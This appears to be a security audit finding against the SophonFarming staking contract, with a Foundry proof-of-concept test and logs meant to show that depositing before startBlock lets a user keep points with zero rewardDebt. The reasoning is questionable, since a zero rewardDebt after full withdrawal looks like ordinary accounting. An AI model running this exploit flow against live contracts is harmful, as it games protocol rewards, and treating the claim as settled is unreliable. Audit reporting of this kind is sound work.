The farming contract accpets deposits before startBlock & allows to set 0 boostAmount while depositing, so any user can avoid rewardDebt and gain adequate points according to his deposit

Summary

The `SophonFarming::_deposit()` allows any user to deposit before startBlock & set boostAmount to 0, so the user can deposit before the startBlock and withdraw all of his deposit after any block of startBlock, by doing this he will get his points & completely bypass his rewardDebt.

Vulnerability Detail

Assume, current block is 1 & startBlock is 2, an user wanna deposit 1_000_000e18 amount of sDAI. He deposited that before the startBlock. Now in _deposit(), updatePool() is called to get updated accPointsPerShare & lastRewardBlock. As the user called the _deposit() before startBlock the updatePool() will not do anything but simply return because of this condition:

```
if (getBlockNumber() <= pool.lastRewardBlock) {
            return;
        }
```

Now, in _deposit(), user.rewardSettled will be 0 because as the user did not deposit anything before so user.amount is 0, the pool.accPointsPerShare will also be 0. user.rewardSettled & user.rewardDebt will also be 0 because of same reason i.e no previous deposit. Then at last of the _deposit() the user.rewardDebt will be updated again, here again it will be 0 because pool.accPointsPerShare is 0.

At this point: pool.amount = 1_000_000e18 user.amount = 1_000_000e18

At block 3 the user called SophonFarming::withdraw() to withdraw all of his deposit. In this function, when updatePool() is called it will update the pool.accPointsPerShare to a value & lastRewardBlock to current block i.e 3. Now here, user.rewardSettled will have a value because both user.amount & pool.accPointsPerShare has some value. Here, the user had his boostAmount 0 while depositing, for that reason user.depositAmount & user.amount is same. So, the depositAmount is deducted from the user.amount and sent to the user:

```
@> SophonFarming::withdraw()
// codes
userAmount = userAmount - _withdrawAmount;
  //codes
 pool.lpToken.safeTransfer(msg.sender, _withdrawAmount);
//codes
```

At this point user.amount is 0. Now at the end of withdraw() when rewardDebt is updated the user.amount is multiplied by accPointsPerShare, but as user.amount is 0 rewardDebt will be 0. Now, the user staying in the protocol with points and 0 reward debt.

PoC

Paste this test in SophonFarming.t.sol & run:

```
        function test_depositBeforeStartBlock() public {
            vm.roll(0);            // @audit setting block.number before
startBlock
            assertEq(block.number, 0);
            assertEq(sophonFarming.startBlock() - 1, block.number);   //
@note startBlock == 1
            SophonFarmingState.UserInfo memory userInfo;
            uint256 daiPID =
sophonFarming.typeToId(SophonFarmingState.PredefinedPool.sDAI);
            deal(address(sDAI), account1, 1_000_000_0000e18);
            vm.startPrank(account1);
            sDAI.approve(address(sophonFarming), 1_000_000_0000e18);
            sophonFarming.deposit(daiPID, 1_000_000_000e18, 0);
            vm.stopPrank();
            SophonFarmingState.PoolInfo[] memory pools =
sophonFarming.getPoolInfo();
            console.log("pool.amount: ", pools[daiPID].amount);
            (userInfo.amount, userInfo.boostAmount, userInfo.depositAmount,
userInfo.rewardSettled, userInfo.rewardDebt) =
            sophonFarming.userInfo(daiPID, account1);
            console.log("user.amount: ", userInfo.amount);
            console.log("user.depositAmount: ", userInfo.depositAmount);
            assertEq(userInfo.rewardSettled, 0);
            assertEq(pools[daiPID].accPointsPerShare, 0);
            vm.roll(2);     // @audit now we are in block 2,
            console.log("--------------------------------");
            console.log("---- AFTER CHANGING BLOCK ----");
            console.log("--------------------------------");
            vm.prank(account1);
            sophonFarming.withdraw(daiPID, userInfo.depositAmount);
            SophonFarmingState.PoolInfo[] memory pools2 =
sophonFarming.getPoolInfo();
            console.log("pool.amount: ", pools2[daiPID].amount);
            (userInfo.amount, userInfo.boostAmount, userInfo.depositAmount,
userInfo.rewardSettled, userInfo.rewardDebt) =
            sophonFarming.userInfo(daiPID, account1);
            console.log("user.amount: ", userInfo.amount);
            console.log("user.rewardSettled: ", userInfo.rewardSettled);
            console.log("user.rewardDebt: ", userInfo.rewardDebt);
        }
```

Result:

```
Logs:
  pool.amount:  1000000000000000000000000000
  user.amount:  1000000000000000000000000000
  user.depositAmount:  1000000000000000000000000000
  -------------------------------
  ---- AFTER CHANGING BLOCK ----
  -------------------------------
  pool.amount:  0
  user.amount:  0
  user.rewardSettled:  8333333333000000000
  user.rewardDebt:  0
```

Impact

User will avoid rewardDebt.